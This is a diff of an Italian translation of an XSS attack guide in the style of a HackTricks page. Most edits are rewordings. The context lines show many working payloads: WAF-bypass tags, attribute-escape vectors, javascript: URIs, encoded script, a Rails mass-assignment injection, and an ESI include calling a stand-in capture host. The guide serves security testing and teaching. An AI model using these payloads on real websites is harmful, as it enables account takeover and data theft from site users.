+Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi usare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima).
 
 ### Tag personalizzati
 
@@ -230,10 +230,10 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass della lunghezza (piccoli XSS)
+### Bypass della lunghezza (piccole XSS)
 
 {% hint style="info" %}
-**Altri piccoli XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
+**Altre piccole XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
 {% endhint %}
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
@@ -241,24 +241,24 @@ onerror=alert`1`
 <script src=//aa.es>
 <script src=//℡㏛.pw>
 ```
-L'ultimo utilizza 2 caratteri unicode che si espandono in 5: telsr\
-Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
-Per controllare in quali caratteri sono decomposti controlla [qui](https://www.compart.com/en/unicode/U+2121).
+The last one is using 2 unicode characters which expands to 5: telsr\
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
+Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
 
-### Impossibile - Dangling Markup
+### Impossible - Dangling Markup
 
 Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
 
-## Iniettare all'interno del tag HTML
+## Injecting inside HTML tag
 
-### All'interno del tag/escaping dal valore dell'attributo
+### Inside the tag/escaping from attribute value
 
-Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è di **escape** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
-Se **non puoi escape dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per fare escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
+Se sei **dentro un tag HTML**, la prima cosa che potresti provare è di **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
+Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Luoghi in cui puoi iniettare questi protocolli**
 
-**In generale**, il protocollo `javascript:` può essere **utilizzato in qualsiasi tag che accetta l'attributo `href`** e in **la maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img`)
+**In generale**, il protocollo `javascript:` può essere **utilizzato in qualsiasi tag che accetta l'attributo `href`** e in **molti** dei tag che accettano l'**attributo `src`** (ma non `<img`)
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -359,7 +359,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione**.
+Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -424,7 +424,7 @@ E nei **meta tag**:
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a condizione che tu possa **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
+Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a patto di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -468,7 +468,7 @@ Ora puoi modificare il nostro link e portarlo alla forma
 
 Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Iniezione all'interno del codice JavaScript
+## Iniettare all'interno del codice JavaScript
 
 In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
 
@@ -478,9 +478,9 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente.
+Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
 
-### Dentro il codice JS
+### All'interno del codice JS
 
 Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito:
 ```
@@ -511,7 +511,7 @@ loop``````````````
 <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
 ```
-### Esecuzione JS di codifica Unicode
+### Esecuzione JS codificata in Unicode
 ```javascript
 \u{61}lert(1)
 \u0061lert(1)
@@ -749,7 +749,7 @@ Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una
 
 ### Cookie XSS
 
-Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
+Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo ad attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
 
 {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
 [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@@ -779,7 +779,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
 ```
 ### Ruby-On-Rails bypass
 
-A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
+A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
 Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Tipi di Script per XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
+(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
 ```html
 <script type="???"></script>
 ```
@@ -1342,7 +1342,7 @@ Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS!
 
 ### XSS a SSRF
 
-Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
+Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** attraverso l'iniezione di Edge Side Include con questo payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1368,11 +1368,11 @@ Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare da
 
 AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [componenti AMP](https://amp.dev/documentation/components/?format=websites).
 
-Il formato [**AMP per Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
+Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
 
 Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### XSS caricamento file (svg)
+### XSS caricando file (svg)
 
 Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```markup
@@ -1446,7 +1446,7 @@ Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet*
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).